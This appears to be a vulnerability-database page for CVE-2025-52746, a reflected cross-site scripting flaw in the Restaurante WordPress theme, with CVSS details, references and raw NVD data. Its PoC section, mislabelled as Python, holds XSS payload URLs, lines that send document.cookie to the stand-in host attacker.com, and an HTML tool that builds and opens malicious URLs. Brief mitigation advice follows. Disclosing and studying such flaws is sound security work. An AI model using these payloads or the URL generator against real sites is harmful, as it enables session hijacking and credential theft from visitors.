CVE-2025-52746

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Restaurante主题 <= 3.0.7（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52746 Reflected XSS PoC -->
<!-- Target: ayecode Restaurante WordPress Theme <= 3.0.7 -->
<!-- Author: Security Researcher -->

<!-- PoC URL (modify target domain) -->
<!-- 
https://vulnerable-site.com/?s=<script>alert('XSS')</script>
or
https://vulnerable-site.com/?search=<img src=x onerror=alert(document.cookie)>
or
https://vulnerable-site.com/?restaurante_param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
-->

<!-- HTML PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52746 PoC</title>
</head>
<body>
    <h1>CVE-2025-52746 Reflected XSS PoC</h1>
    <p>Target: ayecode Restaurante WordPress Theme <= 3.0.7</p>
    
    <h2>Malicious URL Generator</h2>
    <form id="pocForm">
        <label>Target URL:</label>
        <input type="text" id="targetUrl" value="https://example.com" size="60"><br><br>
        <label>XSS Payload:</label>
        <input type="text" id="payload" value="<script>alert(document.domain)</script>" size="60"><br><br>
        <button type="button" onclick="generateMaliciousUrl()">Generate Malicious URL</button>
    </form>
    <br>
    <p>Generated Malicious URL:</p>
    <textarea id="maliciousUrl" rows="3" cols="80" readonly></textarea>
    <br><br>
    <button onclick="copyToClipboard()">Copy URL</button>
    <button onclick="openInNewTab()">Open in New Tab</button>
    
    <script>
        function generateMaliciousUrl() {
            const targetUrl = document.getElementById('targetUrl').value;
            const payload = document.getElementById('payload').value;
            const maliciousUrl = targetUrl + '/?s=' + encodeURIComponent(payload);
            document.getElementById('maliciousUrl').value = maliciousUrl;
        }
        
        function copyToClipboard() {
            const url = document.getElementById('maliciousUrl').value;
            navigator.clipboard.writeText(url);
            alert('URL copied to clipboard!');
        }
        
        function openInNewTab() {
            const url = document.getElementById('maliciousUrl').value;
            window.open(url, '_blank');
        }
    </script>
    
    <h2>Attack Scenarios</h2>
    <ul>
        <li><strong>Cookie Stealing:</strong> <script>fetch('https://attacker.com?c='+document.cookie)</script></li>
        <li><strong>Session Hijacking:</strong> Payload that sends session token to attacker server</li>
        <li><strong>Keylogging:</strong> Payload that captures keystrokes and sends to attacker</li>
        <li><strong>DOM Manipulation:</strong> Payload that modifies page content for phishing</li>
    </ul>
    
    <h2>Mitigation</h2>
    <ul>
        <li>Upgrade Restaurante theme to version > 3.0.7</li>
        <li>Use WAF (Web Application Firewall) rules to block XSS attempts</li>
        <li>Implement Content Security Policy (CSP) headers</li>
        <li>Use input validation and output encoding</li>
    </ul>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52746
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52746
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52746/
[4] VulDB https://vuldb.com/cve/CVE-2025-52746
[5] https://patchstack.com/database/Wordpress/Theme/restaurante/vulnerability/wordpress-restaurante-theme-3-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52746", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.500", "lastModified": "2026-04-27T17:16:26.700", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ayecode Restaurante restaurante permite XSS Reflejado. Este problema afecta a Restaurante: desde n/d hasta <= 3.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/restaurante/vulnerability/wordpress-restaurante-theme-3-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}